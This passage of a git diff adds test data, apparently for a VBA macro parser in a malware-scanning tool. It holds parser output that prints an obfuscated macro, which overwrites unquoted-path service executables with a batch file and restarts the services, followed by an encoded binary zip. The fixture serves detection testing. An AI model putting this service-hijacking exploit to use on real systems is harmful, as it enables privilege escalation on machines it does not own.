StrReverse("...ycivres hcae gnitiolpxE") + Dim k + For Each k In d.Keys + Call x_e(CStr(k), CStr(d(k))) + Next + Set v1 = Nothing: Set v2 = Nothing: Set d = Nothing + End Sub + + Function x_p(sp As String) As String + Dim lp As Integer: lp = InStrRev(sp, Chr(32)) + If lp > 0 Then x_p = Left(sp, lp - 1) & ".exe" Else x_p = "" + End Function + + Sub x_e(sName As String, sPath As String) + Dim pp As String: pp = x_p(sPath) + If pp = "" Then + MsgBox StrReverse("!dnuof ecaps on") + Exit Sub + End If + Dim f1 As Object + Set f1 = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116)) + Dim bp As String + bp = f1.GetParentFolderName(pp) & "\_" & StrReverse("tab.liocxe") + On Error Resume Next + Dim tf As Object + Set tf = f1.CreateTextFile(bp, True) + If Err.Number = 0 Then + tf.WriteLine StrReverse("@echo off") + tf.WriteLine "echo " & sName & StrReverse("] detiolpxE [") & " " & StrReverse("SESTY") & " " & ">> C:\exploited.txt" + tf.Close + f1.CopyFile bp, pp, True + If Err.Number = 0 Then + If r1(sName) Then + MsgBox StrReverse("!detratser ycivreS") + Else + MsgBox StrReverse(".deil ybassU eulF") + End If + Else + MsgBox StrReverse("eruliaf etirw") + End If + Else + MsgBox StrReverse("!redlof etac") + End If + On Error GoTo 0 + Set f1 = Nothing + End Sub + +project_info: + name: "Project" + version: "1814194286.9" + references: + - "stdole" + - "Office" + module_count: 1 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.in.zip b/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..d12d5ee9860e3b7c2ff194257da4ac33ab05cf79 GIT binary patch literal 22055 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 